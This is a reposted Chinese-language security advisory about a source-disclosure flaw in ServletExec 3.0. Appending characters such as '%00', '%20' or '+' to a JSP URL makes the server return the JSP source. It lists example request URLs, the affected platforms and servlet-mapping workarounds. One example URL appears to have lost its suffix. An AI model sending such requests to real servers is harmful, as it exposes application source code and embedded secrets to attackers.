在HTTP请求中添加特殊字符导致暴露JSP源代码文件------转自他人

涉及程序:

ServletExec

描述:

详细:

UnifyeWaveServletExec是一个Java/JavaServlet引擎插件,主要用于WEB服务器,例如:MicrosoftIIS,Apache,NetscapeEnterprise服务器等等。

当一个HTTP请求中添加下列字符之一,ServletExec将返回JSP源代码文件。

.

%2E

+

%2B

%5C

%20

%00

成功的利用该漏洞将导致泄露指定的JSP文件的源代码

例如:

使用下面的任意一个URL请求将输出指定的JSP文件的源代码:

http://target/directory/jsp/file.jsp.

http://target/directory/jsp/file.jsp%2E

http://target/directory/jsp/file.jsp+

http://target/directory/jsp/file.jsp%2B

http://target/directory/jsp/file.jsp

http://target/directory/jsp/file.jsp%5C

http://target/directory/jsp/file.jsp%20

http://target/directory/jsp/file.jsp%00

受影响的系统:

UnifyeWaveServletExec3.0c

-SunSolaris8.0

-MicrosoftWindows98

-MicrosoftWindowsNT4.0

-MicrosoftWindowsNT2000

-Linuxkernel2.3.x

-IBMAIX4.3.2

-HPHP-UX11.4

UnifyeWaveServletExec3.0

-SunSolaris8.0

-MicrosoftWindows98

-MicrosoftWindowsNT4.0

-MicrosoftWindowsNT2000

-Linuxkernel2.3.x

-IBMAIX4.3.2

-HPHP-UX11.4

解决方案:

临时解决办法:

如果没有使用任何静态页面或图像,可以配置一个默认的servlet,并将“/”映射到这个默认的servlet。这样当收到一个未映射到某个servlet的URL时,这个默认的servlet就会被调用。在这种情况下,默认的servlet可以仅仅返回“未找到文件”。如果使用了静态的页面或图像,仍然可以作这样的配置,但是需要让这个默认的servlet处理对合法的静态页面和图像的请求。

另一种可能就是将*.jsp+、*.jsp.和*.jsp等映射到一个servlet,而该servlet只是返回“未找到文件”。对于*.jsp%00和*.jsp%20这样的情况,映射应以未经编码的形式输入。例如,对于*.jsp%20的映射应输入“*.jsp”。注意%20被转换成一个空格字符。

相关推荐